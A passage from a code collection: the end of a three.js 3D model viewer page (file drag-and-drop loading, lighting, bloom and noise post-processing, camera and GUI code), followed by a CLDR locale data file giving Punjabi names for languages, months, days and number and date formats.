morphObject.morph = val; elMorphAPct.innerHTML = ( 100 * morphObject.morph ).toFixed( 1 ) + " %"; elMorphBPct.innerHTML = ( 100 * ( 1 - morphObject.morph) ).toFixed( 1 ) + " %"; } }; // temp scene function createTempScene() { var tempScene = new THREE.Object3D(); var i, x, y, z, d = 10000, s = BASE_SCALE, mesh, geo = new Cube( 400, 400, 400 ), mat = new THREE.MeshLambertMaterial( {color:0xffffff} ); for ( i = 0; i < 1000; i++ ) { mesh = new THREE.Mesh( geo, mat ); x = rr( -d, d ); y = rr( -d, d ); z = rr( -d, d ); mesh.position.set( x, y, z ); x = rr( -3, 3 ); y = rr( -3, 3 ); z = rr( -3, 3 ); mesh.rotation.set( x, y, z ); mesh.scale.set( s, s, s ); mesh.matrixAutoUpdate = false; mesh.updateMatrix(); mesh.update(); tempScene.addChild( mesh ); } return tempScene; }; function resetScene() { scene.removeChild( sceneRoot ); sceneRoot = new THREE.Object3D(); scene.addChild( sceneRoot ); }; function rescaleScene( s ) { sceneRoot.scale.set( s, s, s ); }; // DOM helpers function toggle( id, how ) { var elStyle = $( id ).style; if ( elStyle.display == "none" ) elStyle.display = how !==undefined ? how : "block"; else elStyle.display = "none"; }; function show( id ) { $( id ).style.display = "block"; }; function hide( id ) { $( id ).style.display = "none"; }; // Utils function $( id ) { return document.getElementById( id ); } function rr( a, b ) { return a + ( b - a ) * Math.random(); } function renderNumber( n, precision ) { return "<span class='number'>" + n.toFixed( precision ) + "</span>"; }; function renderBigNumber( n ) { return "<span class='number'>" + pretty_number( n.toFixed( 0 ) ) + "</span>"; }; function renderVec3( v, precision ) { if ( Math.abs( v.x ) > 10000 || Math.abs( v.y ) > 10000 || Math.abs( v.z ) > 10000 ) { return renderBigNumber( v.x ) + " " + renderBigNumber( v.y ) + " " + renderBigNumber( v.z ); } else { return renderNumber( v.x, precision ) + " " + renderNumber( v.y, precision ) + " " + renderNumber( v.z, precision ); } }; function capitalize( s ) { return s[ 0 ].toUpperCase() + s.substring( 1, s.length ); }; function pretty_number( x ) { var delimiter = "'"; var strx = x.toString(); var pretty = ""; for( var i = strx.length - 1; i >= 0; i-- ) { if ( ( strx.length - 1 - i ) % 3 == 0 && ( strx.length - 1 - i ) > 0 ) pretty = delimiter+pretty; pretty = strx[ i ] + pretty; } return pretty; }; function pretty_size( x ) { var kb = x / 1024; return pretty_number( kb.toFixed( 0 ) ) + " KB"; }; function cap_string( s, n ) { if ( n < s.length - 2 ) return s.substring( 0, n ) + " ..."; else return s; }; function cap_bottom( n, b ) { return n > b ? n : b; }; // GUI function toggleHUD( e ) { guiVisible = !guiVisible; e.stopPropagation(); e.preventDefault(); toggle( "file_dialog" ); toggle( "gui_wrapper" ); //toggle( "camera" ); camera.activeLook = !guiVisible; }; function toggleFog() { if ( scene.fog.density == 0 ) { scene.fog.density = fogdensity; } else { scene.fog.density = 0; } refreshGUI(); }; function setPostNoise() { initPostprocessingNoise( postprocessing ); postprocessing.enabled = true; refreshGUI(); }; function setPostBloom() { initPostprocessingBloom( postprocessing ); postprocessing.enabled = true; refreshGUI(); }; function setPostBloomNoise() { initPostprocessingBloomNoise( postprocessing ); postprocessing.enabled = true; refreshGUI(); }; function setPostNone() { postprocessing.enabled = false; refreshGUI(); }; function updateAspect() { camera.aspect = SCREEN_WIDTH / SCREEN_HEIGHT; camera.updateProjectionMatrix(); renderer.setSize( SCREEN_WIDTH, SCREEN_HEIGHT ); }; function updateViewport() { if ( overlays.filmStrip ) { SCREEN_WIDTH = window.innerWidth; SCREEN_HEIGHT = window.innerHeight - 200; updateAspect(); renderer.domElement.style.top = "100px"; } else { SCREEN_WIDTH = window.innerWidth; SCREEN_HEIGHT = window.innerHeight; updateAspect(); renderer.domElement.style.top = "0px"; } if ( postprocessing.type == "bloom" ) initPostprocessingBloom( postprocessing ); else initPostprocessingNoise( postprocessing ); }; function toggleFilm() { overlays.filmStrip = !overlays.filmStrip; updateViewport(); refreshGUI(); }; function setLight( ltype ) { lightType = ltype; var acolor = lightColors[ lightType ][ 0 ]; var d1color = lightColors[ lightType ][ 1 ]; var d2color = lightColors[ lightType ][ 2 ]; ambientLight.color.setHSV( acolor.h, acolor.s, acolor.v ); directionalLight1.color.setHSV( d1color.h, d1color.s, d1color.v ); directionalLight2.color.setHSV( d2color.h, d2color.s, d2color.v ); updateHSV( lightColors[lightType][0], ALIGHT ); updateHSV( lightColors[lightType][1], DLIGHT1 ); updateHSV( lightColors[lightType][0], DLIGHT2 ); $("al_hue").innerHTML = acolor.h.toFixed(2); $("al_sat").innerHTML = acolor.s.toFixed(2); $("al_val").innerHTML = acolor.v.toFixed(2); $("dl1_hue").innerHTML = d1color.h.toFixed(2); $("dl1_sat").innerHTML = d1color.s.toFixed(2); $("dl1_val").innerHTML = d1color.v.toFixed(2); $("dl2_hue").innerHTML = d2color.h.toFixed(2); $("dl2_sat").innerHTML = d2color.s.toFixed(2); $("dl2_val").innerHTML = d2color.v.toFixed(2); alSliderH.setValue( acolor.h ); alSliderS.setValue( acolor.s ); alSliderV.setValue( acolor.v ); dl1SliderH.setValue( d1color.h ); dl1SliderS.setValue( d1color.s ); dl1SliderV.setValue( d1color.v ); dl2SliderH.setValue( d2color.h ); dl2SliderS.setValue( d2color.s ); dl2SliderV.setValue( d2color.v ); refreshGUI(); }; function toggleOverlay( label ) { overlays[ label ] = !overlays[ label ]; var id = "overlay" + capitalize( label ); if ( overlays[ label ] ) show( id ); else hide( id ); refreshGUI(); }; function refreshGUI() { // checkboxes $( "b_film" ).innerHTML = overlays.filmStrip ? "x" : "&nbsp;"; $( "b_dirt" ).innerHTML = overlays.dirt ? "x" : "&nbsp;"; $( "b_vignette" ).innerHTML = overlays.vignette ? "x" : "&nbsp;"; $( "b_lensFlare" ).innerHTML = overlays.lensFlare ? "x" : "&nbsp;"; // selections $( "b_noise" ).innerHTML = ( postprocessing.enabled && postprocessing.type == "noise" ) ? "&diams;" : "&nbsp;"; $( "b_bloom" ).innerHTML = ( postprocessing.enabled && postprocessing.type == "bloom" ) ? "&diams;" : "&nbsp;"; $( "b_bloomnoise" ).innerHTML = ( postprocessing.enabled && postprocessing.type == "bloomnoise" ) ? "&diams;" : "&nbsp;"; $( "b_none" ).innerHTML = ( ! postprocessing.enabled ) ? "&diams;" : "&nbsp;"; $( "b_lightWhite" ).innerHTML = ( lightType == "white" ) ? "&diams;" : "&nbsp;"; $( "b_lightCold" ).innerHTML = ( lightType == "cold" ) ? "&diams;" : "&nbsp;"; $( "b_lightWarm" ).innerHTML = ( lightType == "warm" ) ? "&diams;" : "&nbsp;"; $( "b_lightSunset" ).innerHTML = ( lightType == "sunset" ) ? "&diams;" : "&nbsp;"; var i, s; for ( i = 0; i < SCALES.length; i++ ) { s = SCALES[ i ]; if( GLOBAL_SCALE == s[1] ) { $( s[0] ).innerHTML = "&diams;" } else { $( s[0] ).innerHTML = "&nbsp;"; } } magicRepaint(); }; function magicRepaint() { // workaround Chrome compositing bug //$( "gui_wrapper" ).style.display = "none"; //$( "gui_wrapper" ).offsetHeight; //$( "gui_wrapper" ).style.display = "block"; }; function handleScale( values ) { function generateHandler( s ) { return function() { GLOBAL_SCALE = s; rescaleScene( BASE_SCALE * s ); refreshGUI(); } }; var i, id, s; for ( i = 0; i < values.length; i++ ) { id = values[ i ][ 0 ]; s = values[ i ][ 1 ]; $( id ).addEventListener( "click", generateHandler( s ), true ); } }; function handleProperty( ids, handler ) { for ( var i = 0; i < ids.length; i++ ) $( ids[ i ] ).addEventListener( "click", handler, true ); }; function iniGui() { $( "hud_button" ).addEventListener( "click", toggleHUD, true ); handleProperty( [ "b_noise", "l_noise" ], setPostNoise ); handleProperty( [ "b_bloom", "l_bloom" ], setPostBloom ); handleProperty( [ "b_bloomnoise", "l_bloomnoise" ], setPostBloomNoise ); handleProperty( [ "b_none", "l_none" ], setPostNone ); handleProperty( [ "b_film", "l_film" ], toggleFilm ); handleProperty( [ "b_dirt", "l_dirt" ], function() { toggleOverlay( "dirt") } ); handleProperty( [ "b_vignette", "l_vignette" ], function() { toggleOverlay( "vignette") } ); handleProperty( [ "b_lensFlare", "l_lensFlare" ], function() { toggleOverlay( "lensFlare") } ); handleScale( SCALES ); handleProperty( [ "b_lightWhite", "l_lightWhite" ], function() { setLight( "white" ) } ); handleProperty( [ "b_lightCold", "l_lightCold" ], function() { setLight( "cold" ) } ); handleProperty( [ "b_lightWarm", "l_lightWarm" ], function() { setLight( "warm" ) } ); handleProperty( [ "b_lightSunset", "l_lightSunset" ], function() { setLight( "sunset" ) } ); refreshGUI(); }; DragAndDrop.onDragOver = function( evt ) { evt.stopPropagation(); evt.preventDefault(); }; DragAndDrop.onDragFileDrop = function( evt ) { evt.stopPropagation(); evt.preventDefault(); console.log( evt ); var sceneResetFlag = true; if( evt.offsetX > windowHalfX ) sceneResetFlag = false; var i, f, files = evt.dataTransfer.files, output = [], loader = new THREE.JSONLoader(), callbackObject = function( geometry ) { addObject( geometry, 0, 0, 0, 1, sceneResetFlag ) }; for ( i = 0; f = files[i]; i++ ) { output.push('<li><strong>' + cap_string( f.name, 17 ) + '</strong> <span class="fsize">' + pretty_size( f.size ) + '</span></li>'); var reader = new FileReader(); if ( f.type.indexOf( "javascript" ) >= 0 ) { reader.onload = ( function( theFile ) { return function( e ) { var content = e.target.result, bb, blobURL = new BlobBuilder(); bb = new BlobBuilder(); bb.append( content ); if ( window.webkitURL ) blobURL = window.webkitURL.createObjectURL( bb.getBlob() ); else blobURL = window.URL.createObjectURL( bb.getBlob() ); loader.load( { model: blobURL, callback: callbackObject } ); }; })(f); reader.readAsText( f ); $('file_list').innerHTML = ""; } else if ( f.type.indexOf( "image" ) >= 0 ) { reader.onload = ( function( theFile ) { return function( e ) { var span = document.createElement( 'span' ); span.innerHTML = [ '<img class="thumb" src="', e.target.result, '" title="', theFile.name, '"/>' ].join( '' ); //$( 'images' ).insertBefore( span, null ); //alert("handling [" + theFile.name + "]"); //addImage( theFile.name, e.target.result ); // hack to work around Chrome crash bug // when dropping first model and then textures setTimeout( function() { addImage( theFile.name, e.target.result ); }, 500 ); }; })(f); reader.readAsDataURL(f); } } $('file_list').innerHTML += '<ul>' + output.join('') + '</ul>'; show( "files_div" ); }; function extractTexture( map, dst ) { var s; if ( map ) { s = map.sourceFile; if ( s ) { if ( dst[ s ] == undefined ) { dst[ s ] = [ map ]; } else { dst[ s ].push( map ); } } } }; function collectTextures( geometry ) { var textureMap = {}, i, m, s, materials = geometry.materials; for ( i = 0; i < materials.length; i++ ) { m = materials[ i ][ 0 ]; extractTexture( m.map, textureMap ); extractTexture( m.lightMap, textureMap ); } updateTextureList( "texture_list", textureMap ); return textureMap; }; function updateTextureList( id, map ) { var fname, item, zclass, lst = [], tmp = ""; el = $( id ); for ( fname in map ) { if ( map[ fname ].__textureLoaded ) zclass = "loaded"; else zclass = "missing"; item = "<li><span class='" + zclass + "'>" + fname + "</span></li>"; lst.push( item ); } if ( lst.length ) { tmp = "<ul>" + lst.join("") + "</ul>"; el.innerHTML = tmp; show( "textures_div" ); } else { hide( "textures_div" ); } }; function checkTextureImages() { var i, tid, mid, maps, img; for ( tid in IMAGE_MAP ) { if ( TEXTURE_MAP[ tid ] != undefined ) { maps = TEXTURE_MAP[ tid ]; for( i = 0; i < maps.length; i++ ) { img = document.createElement( 'img' ); img.src = IMAGE_MAP[ tid ]; maps[ i ].image = img; maps[ i ].needsUpdate = true; maps[ i ].__wasSetOnce = false; } maps.__textureLoaded = true; } } updateTextureList( "texture_list", TEXTURE_MAP ); }; function addObject( geometry, x, y, z, s, sceneResetFlag ) { if ( sceneResetFlag ) resetScene(); var material, mesh; console.log(geometry); if ( geometry.morphTargets !== undefined && geometry.morphTargets.length > 0 ) { morphObject = ROME.Animal( geometry, true ); mesh = morphObject.mesh; cameraDistanceOriginal = mesh.boundRadius * 10; cameraHeightOriginal = mesh.boundRadius * 0.1; if( morphObject.availableAnimals && morphObject.availableAnimals.length > 0 ) { morphA = 0; morphB = ( morphA + 1 ) % morphObject.availableAnimals.length; morphObject.animalA.timeScale = 0.5; updateMorphs(); } $( "morphs" ).style.display = "block"; } else { morphObject = null; material = new THREE.MeshFaceMaterial(), mesh = new THREE.Mesh( geometry, material ); if ( mesh.boundRadius > 0.25 * camera.far ) { cameraDistanceOriginal = 0.25 * camera.far; cameraHeightOriginal = 0.01 * camera.far; } else { cameraDistanceOriginal = mesh.boundRadius * 3; cameraHeightOriginal = mesh.boundRadius * 0.1; } $( "morphs" ).style.display = "none"; } TEXTURE_MAP = collectTextures( geometry ); checkTextureImages(); mesh.position.set( x, y, z ); mesh.scale.set( s, s, s ); mesh.matrixAutoUpdate = false; mesh.updateMatrix(); mesh.update(); sceneRoot.addChild( mesh ); cameraDistance = cameraDistanceOriginal; cameraHeight = cameraHeightOriginal; camera.position.set( 0, cameraHeight, cameraDistance ); camera.target.position.set( 0, 0, 0 ); axisVisible = false; SceneUtils.showHierarchy( auxRoot, axisVisible ); //console.log( mesh.boundRadius, camera ); }; function addImage( name, uri ) { IMAGE_MAP[ name ] = uri; checkTextureImages(); }; function initPostprocessingNoise( effect ) { effect.type = "noise"; effect.scene = new THREE.Scene(); effect.camera = new THREE.Camera(); effect.camera.projectionMatrix = THREE.Matrix4.makeOrtho( SCREEN_WIDTH / - 2, SCREEN_WIDTH / 2, SCREEN_HEIGHT / 2, SCREEN_HEIGHT / - 2, -10000, 10000 ); effect.camera.position.z = 100; effect.texture = new THREE.WebGLRenderTarget( SCREEN_WIDTH, SCREEN_HEIGHT, { minFilter: THREE.LinearFilter, magFilter: THREE.NearestFilter } ); var film_shader = ShaderUtils.lib["film"]; var film_uniforms = Uniforms.clone( film_shader.uniforms ); film_uniforms["tDiffuse"].texture = effect.texture; effect.materialFilm = new THREE.MeshShaderMaterial( { uniforms: film_uniforms, vertexShader: film_shader.vertexShader, fragmentShader: film_shader.fragmentShader } ); effect.materialFilm.uniforms.grayscale.value = 0; var quad = new THREE.Mesh( new Plane( SCREEN_WIDTH, SCREEN_HEIGHT ), effect.materialFilm ); quad.position.z = -500; effect.scene.addObject( quad ); } function initPostprocessingBloom( effect ) { effect.type = "bloom"; effect.scene = new THREE.Scene(); effect.camera = new THREE.Camera(); effect.camera.projectionMatrix = THREE.Matrix4.makeOrtho( SCREEN_WIDTH / - 2, SCREEN_WIDTH / 2, SCREEN_HEIGHT / 2, SCREEN_HEIGHT / - 2, -10000, 10000 ); effect.camera.position.z = 100; var pars = { minFilter: THREE.LinearFilter, magFilter: THREE.LinearFilter }; effect.rtTexture1 = new THREE.WebGLRenderTarget( SCREEN_WIDTH, SCREEN_HEIGHT, pars ); effect.rtTexture2 = new THREE.WebGLRenderTarget( 512, 512, pars ); effect.rtTexture3 = new THREE.WebGLRenderTarget( 512, 512, pars ); var screen_shader = ShaderUtils.lib["screen"]; var screen_uniforms = Uniforms.clone( screen_shader.uniforms ); screen_uniforms["tDiffuse"].texture = effect.rtTexture1; screen_uniforms["opacity"].value = 1.0; effect.materialScreen = new THREE.MeshShaderMaterial( { uniforms: screen_uniforms, vertexShader: screen_shader.vertexShader, fragmentShader: screen_shader.fragmentShader, blending: THREE.AdditiveBlending, transparent: true } ); var convolution_shader = ShaderUtils.lib["convolution"]; var convolution_uniforms = Uniforms.clone( convolution_shader.uniforms ); effect.blurx = new THREE.Vector2( 0.001953125, 0.0 ), effect.blury = new THREE.Vector2( 0.0, 0.001953125 ); convolution_uniforms["tDiffuse"].texture = effect.rtTexture1; convolution_uniforms["uImageIncrement"].value = effect.blurx; convolution_uniforms["cKernel"].value = ShaderUtils.buildKernel( 4.0 ); effect.materialConvolution = new THREE.MeshShaderMaterial( { uniforms: convolution_uniforms, vertexShader: "#define KERNEL_SIZE 25.0\n" + convolution_shader.vertexShader, fragmentShader: "#define KERNEL_SIZE 25\n" + convolution_shader.fragmentShader } ); var film_shader = ShaderUtils.lib["film"]; var film_uniforms = Uniforms.clone( film_shader.uniforms ); film_uniforms["tDiffuse"].texture = effect.rtTexture1; effect.materialFilm = new THREE.MeshShaderMaterial( { uniforms: film_uniforms, vertexShader: film_shader.vertexShader, fragmentShader: film_shader.fragmentShader } ); effect.materialFilm.uniforms.grayscale.value = 0; effect.materialFilm.uniforms.nIntensity.value = 1; //effect.materialFilm.uniforms.sIntensity.value = 0.25; //effect.materialFilm.uniforms.sCount.value = 2048; effect.quad = new THREE.Mesh( new Plane( SCREEN_WIDTH, SCREEN_HEIGHT ), effect.materialConvolution ); effect.quad.position.z = -500; effect.scene.addObject( effect.quad ); } function initPostprocessingBloomNoise( effect ) { initPostprocessingBloom( effect ); effect.type = "bloomnoise"; }; // updates function animate() { requestAnimationFrame( animate ); time = new Date().getTime(); delta = time - oldTime; oldTime = time; updateCamera( delta ); updateMorph( delta ); render( delta ); stats.update(); }; function updateMorph( delta ) { if ( morphObject ) { THREE.AnimationHandler.update( delta ); } }; function updateCamera( delta ) { if ( camera == orbitCamera ) { if ( isShiftDown ) { theta += mouseX * delta * 0.0001; } camera.position.x = cameraDistance * Math.sin( theta * Math.PI / 360 ); camera.position.z = cameraDistance * Math.cos( theta * Math.PI / 360 ); camera.position.y = cameraHeight; } elCamLocation.innerHTML = renderVec3( camera.position, 2 ); if ( camera == flyCamera ) { elCamLocation.innerHTML += " speed: " + camera.movementSpeed.toFixed(3); } //lensFlareRotate.position.set( camera.position.x, camera.position.y, camera.position.z ); }; function render( delta ) { renderer.clear(); if ( postprocessing.enabled ) { if ( postprocessing.type == "noise" ) { postprocessing.materialFilm.uniforms.time.value += 0.01 * delta; renderer.render( scene, camera, postprocessing.texture, true ); renderer.render( postprocessing.scene, postprocessing.camera ); } else if ( postprocessing.type == "bloom" || postprocessing.type == "bloomnoise" ) { // Render scene into texture renderer.render( scene, camera, postprocessing.rtTexture1, true ); // Render quad with blured scene into texture (convolution pass 1) postprocessing.quad.materials = [ postprocessing.materialConvolution ]; postprocessing.materialConvolution.uniforms.tDiffuse.texture = postprocessing.rtTexture1; postprocessing.materialConvolution.uniforms.uImageIncrement.value = postprocessing.blurx; renderer.render( postprocessing.scene, postprocessing.camera, postprocessing.rtTexture2, true ); // Render quad with blured scene into texture (convolution pass 2) postprocessing.materialConvolution.uniforms.tDiffuse.texture = postprocessing.rtTexture2; postprocessing.materialConvolution.uniforms.uImageIncrement.value = postprocessing.blury; renderer.render( postprocessing.scene, postprocessing.camera, postprocessing.rtTexture3, true ); // Render original scene with superimposed blur to texture postprocessing.quad.materials = [ postprocessing.materialScreen ]; postprocessing.materialScreen.blending = THREE.AdditiveBlending; postprocessing.materialScreen.uniforms.tDiffuse.texture = postprocessing.rtTexture3; //postprocessing.materialScreen.uniforms.opacity.value = 1.0; renderer.render( postprocessing.scene, postprocessing.camera, postprocessing.rtTexture1, false ); // Render to screen if ( postprocessing.type == "bloomnoise" ) { postprocessing.materialFilm.uniforms.time.value += 0.01 * delta; postprocessing.quad.materials = [ postprocessing.materialFilm ]; } else { postprocessing.materialScreen.blending = THREE.NormalBlending; postprocessing.quad.materials = [ postprocessing.materialScreen ]; } postprocessing.materialScreen.uniforms.tDiffuse.texture = postprocessing.rtTexture1; renderer.render( postprocessing.scene, postprocessing.camera ); } } else { renderer.render( scene, camera ); } }; // it's nicer to be able to drop anywhere in the window //$( 'drop_zone' ).addEventListener( 'dragover', DragAndDrop.onDragOver, false ); //$( 'drop_zone' ).addEventListener( 'drop', DragAndDrop.onDragFileDrop, false ); window.addEventListener( 'dragover', DragAndDrop.onDragOver, false ); window.addEventListener( 'drop', DragAndDrop.onDragFileDrop, false ); </script> </body> </html>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8" ?> <ldml> <identity> <version number="$Revision: 1.76 $"/> <generation date="$Date: 2009/06/15 04:15:33 $"/> <language type="pa"/> </identity> <localeDisplayNames> <languages> <language type="ab">ਅਬਖਾਜ਼ੀਅਨ</language> <language type="ace">ਅਚੀਨੀ</language> <language type="ach">ਅਕੋਲੀ</language> <language type="af">ਅਫ਼ਰੀਕੀ</language> <language type="apa">ਅਪਾਚੇ ਭਾਸ਼ਾ</language> <language type="ar">ਅਰਬੀ</language> <language type="as">ਅਸਾਮੀ</language> <language type="aus">ਆਸਟਰੇਲੀਅਨ ਭਾਸ਼ਾ</language> <language type="az">ਅਜ਼ੇਰਬੈਜਨਿ</language> <language type="bat">ਬੈਲਟਿਕ ਭਾਸ਼ਾ</language> <language type="be">ਬੇਲਾਰੂਸੀਅਨ</language> <language type="bn">ਬੰਗਾਲੀ</language> <language type="da">ਡੈਨਿਸ਼</language> <language type="de">ਜਰਮਨ</language> <language type="en">ਅੰਗਰੇਜ਼ੀ</language> <language type="eo">ਏਸਪਰੇਂਟੋ</language> <language type="es">ਸਪੇਨਿਸ਼</language> <language type="fi">ਫਿਨਿਸ਼</language> <language type="fr">ਫਰੈਂਚ</language> <language type="gu">ਗੁਜਰਾਤੀ</language> <language type="hi">ਹਿੰਦੀ</language> <language type="id">ਇੰਡੋਨੇਸ਼ੀਆਈ</language> <language type="it">ਇਤਾਲਵੀ</language> <language type="ja">ਜਾਪਾਨੀ</language> <language type="mk">ਮੈਕੇਡੋਨੀਅਨ</language> <language type="nl">ਡੱਚ</language> <language type="no">ਨਾਰਵੇਜੀਅਨ</language> <language type="pa">ਪੰਜਾਬੀ</language> <language type="pt">ਪੋਰਤੂਗੂਈਸ</language> <language type="sv">ਸਵੈਡਿਸ਼</language> <language type="ta">ਤਾਮਿਲ</language> <language type="te">ਤੇਲਗੂ</language> <language type="th">ਥਾਈ</language> <language type="tw">ਤ੍ਵਿ</language> <language type="ug">ਉਇਘੁਰ</language> <language type="und">und</language> </languages> <scripts> <script type="Deva">ਦੇਵਨਾਗਰੀ</script> <script type="Guru">ਗੁਰਮੁਖੀ</script> <script type="Zxxx">Zxxx</script> <script type="Zzzz">Zzzz</script> </scripts> <territories> <territory type="IN">ਭਾਰਤ</territory> <territory type="TO">TO</territory> <territory type="ZZ">ਅਣਜਾਣ</territory> </territories> </localeDisplayNames> <characters> <exemplarCharacters>[਼ ੰ ੱ ੦-੯ ੴ ੳ ਉ ਊ ਓ ਅ ਆ ਐ ਔ ੲ ਇ ਈ ਏ ਸ {ਸ\u0A3C} ਹ ਕ ਖ {ਖ\u0A3C} ਗ {ਗ\u0A3C} ਘ-ਜ {ਜ\u0A3C} ਝ-ਨ ਪ ਫ {ਫ\u0A3C} ਬ-ਰ ਲ ਵ ੜ ਾ-ੂ ੇ ੈ ੋ-੍]</exemplarCharacters> <exemplarCharacters type="auxiliary">[\u200C \u200D \u0A01-\u0A03 {ਲ\u0A3C}]</exemplarCharacters> </characters> <delimiters> <quotationStart>'</quotationStart> <quotationEnd>'</quotationEnd> <alternateQuotationStart>&quot;</alternateQuotationStart> <alternateQuotationEnd>&quot;</alternateQuotationEnd> </delimiters> <dates> <calendars> <calendar type="gregorian"> <months> <monthContext type="format"> <monthWidth type="wide"> <month type="1">ਜਨਵਰੀ</month> <month type="2">ਫ਼ਰਵਰੀ</month> <month type="3">ਮਾਰਚ</month> <month type="4">ਅਪ੍ਰੈਲ</month> <month type="5">ਮਈ</month> <month type="6">ਜੂਨ</month> <month type="7">ਜੁਲਾਈ</month> <month type="8">ਅਗਸਤ</month> <month type="9">ਸਤੰਬਰ</month> <month type="10">ਅਕਤੂਬਰ</month> <month type="11">ਨਵੰਬਰ</month> <month type="12">ਦਸੰਬਰ</month> </monthWidth> </monthContext> <monthContext type="stand-alone"> <monthWidth type="narrow"> <month type="1">ਜ</month> <month type="2">ਫ</month> <month type="3">ਮਾ</month> <month type="4">ਅ</month> <month type="5">ਮ</month> <month type="6">ਜੂ</month> <month type="7">ਜੁ</month> <month type="8">ਅ</month> <month type="9">ਸ</month> <month type="10">ਅ</month> <month type="11">ਨ</month> <month type="12">ਦ</month> </monthWidth> </monthContext> </months> <days> <dayContext type="format"> <dayWidth type="abbreviated"> <day type="sun">ਐਤ.</day> <day type="mon">ਸੋਮ.</day> <day type="tue">ਮੰਗਲ.</day> <day type="wed">ਬੁਧ.</day> <day type="thu">ਵੀਰ.</day> <day type="fri">ਸ਼ੁਕਰ.</day> <day type="sat">ਸ਼ਨੀ.</day> </dayWidth> <dayWidth type="wide"> <day type="sun">ਐਤਵਾਰ</day> <day type="mon">ਸੋਮਵਾਰ</day> <day type="tue">ਮੰਗਲਵਾਰ</day> <day type="wed">ਬੁਧਵਾਰ</day> <day type="thu">ਵੀਰਵਾਰ</day> <day type="fri">ਸ਼ੁੱਕਰਵਾਰ</day> <day type="sat">ਸ਼ਨੀਚਰਵਾਰ</day> </dayWidth> </dayContext> <dayContext type="stand-alone"> <dayWidth type="narrow"> <day type="sun">ਐ</day> <day type="mon">ਸੋ</day> <day type="tue">ਮੰ</day> <day type="wed">ਬੁੱ</day> <day type="thu">ਵੀ</day> <day type="fri">ਸ਼ੁੱ</day> <day type="sat">ਸ਼</day> </dayWidth> </dayContext> </days> <quarters> <quarterContext type="format"> <quarterWidth type="abbreviated"> <quarter type="1">Q1</quarter> <quarter type="2">Q2</quarter> <quarter type="3">Q3</quarter> <quarter type="4">Q4</quarter> </quarterWidth> <quarterWidth type="wide"> <quarter type="1">ਪਹਿਲਾਂ ਚੌਥਾਈ</quarter> <quarter type="2">ਦੂਜਾ ਚੌਥਾਈ</quarter> <quarter type="3">ਤੀਜਾ ਚੌਥਾਈ</quarter> <quarter type="4">ਚੌਥਾ ਚੌਥਾਈ</quarter> </quarterWidth> </quarterContext> </quarters> <am>ਸਵੇਰੇ</am> <pm>ਸ਼ਾਮ</pm> <eras> <eraNames> <era type="0">ਈਸਾਪੂਰਵ</era> <era type="1">ਸੰਨ</era> </eraNames> <eraAbbr> <era type="0">BCE</era> <era type="1">CE</era> </eraAbbr> </eras> <dateFormats> <dateFormatLength type="full"> <dateFormat> <pattern>EEEE, dd MMMM y</pattern> </dateFormat> </dateFormatLength> <dateFormatLength type="long"> <dateFormat> <pattern>d MMMM y</pattern> </dateFormat> </dateFormatLength> <dateFormatLength type="medium"> <dateFormat> <pattern>d MMM y</pattern> </dateFormat> </dateFormatLength> <dateFormatLength type="short"> <dateFormat> <pattern>dd/MM/yyyy</pattern> </dateFormat> </dateFormatLength> </dateFormats> <timeFormats> <timeFormatLength type="full"> <timeFormat> <pattern>h:mm:ss a zzzz</pattern> </timeFormat> </timeFormatLength> <timeFormatLength type="long"> <timeFormat> <pattern>h:mm:ss a z</pattern> </timeFormat> </timeFormatLength> <timeFormatLength type="medium"> <timeFormat> <pattern>h:mm:ss a</pattern> </timeFormat> </timeFormatLength> <timeFormatLength type="short"> <timeFormat> <pattern>h:mm a</pattern> </timeFormat> </timeFormatLength> </timeFormats> <dateTimeFormats> <availableFormats> <dateFormatItem id="HHmmss">HH:mm:ss</dateFormatItem> <dateFormatItem id="Md">d/M</dateFormatItem> <dateFormatItem id="mmss">mm:ss</dateFormatItem> <dateFormatItem id="yyMMM">MMM yy</dateFormatItem> <dateFormatItem id="yyQ">Q yy</dateFormatItem> </availableFormats> </dateTimeFormats> <fields> <field type="year"> <displayName>ਸਾਲ</displayName> </field> <field type="month"> <displayName>ਮਹੀਨਾ</displayName> </field> <field type="week"> <displayName>ਹਫ਼ਤਾ</displayName> </field> <field type="day"> <displayName>ਦਿਨ</displayName> <relative type="-3">ਤਿੰਨ ਦਿਨ ਪਹਿਲਾਂ</relative> <relative type="-2">ਪਰਸੋਂ</relative> <relative type="0">ਅੱਜ</relative> <relative type="1">ਭਲਕ</relative> <relative type="2">ਭਲਕ</relative> <relative type="3">ਤਿੰਨ ਦਿਨ ਬਾਅਦ</relative> </field> <field type="weekday"> <displayName>ਹਫ਼ਤੇ ਦਾ ਦਿਨ</displayName> </field> <field type="hour"> <displayName>ਘੰਟਾ</displayName> </field> <field type="minute"> <displayName>ਮਿੰਟ</displayName> </field> <field type="zone"> <displayName>ਖੇਤਰ</displayName> </field> </fields> </calendar> </calendars> <timeZoneNames> <hourFormat>+HH:mm;-HH:mm</hourFormat> <gmtFormat>GMT{0}</gmtFormat> <regionFormat>{0}</regionFormat> </timeZoneNames> </dates> <numbers> <defaultNumberingSystem>guru</defaultNumberingSystem> <symbols> <nativeZeroDigit>0</nativeZeroDigit> </symbols> <decimalFormats> <decimalFormatLength> <decimalFormat> <pattern>#,##,##0.###</pattern> </decimalFormat> </decimalFormatLength> </decimalFormats> <percentFormats> <percentFormatLength> <percentFormat> <pattern>#,##,##0%</pattern> </percentFormat> </percentFormatLength> </percentFormats> <currencyFormats> <currencyFormatLength> <currencyFormat> <pattern>¤ #,##,##0.00</pattern> </currencyFormat> </currencyFormatLength> </currencyFormats> <currencies> <currency type="AFN"> <displayName>ਅਫ਼ਗਾਨੀ</displayName> </currency> <currency type="EUR"> <displayName>ਯੂਰੋ</displayName> </currency> <currency type="INR"> <displayName>ਰੁਪਿਯ</displayName> <symbol>ਰੁ.</symbol> </currency> <currency type="XXX"> <displayName>ਅਣਜਾਣ</displayName> </currency> </currencies> </numbers> <posix> <messages> <yesstr>ਹਾਂ</yesstr> <nostr>ਨਹੀਂ</nostr> </messages> </posix> </ldml>
{ "pile_set_name": "Github" }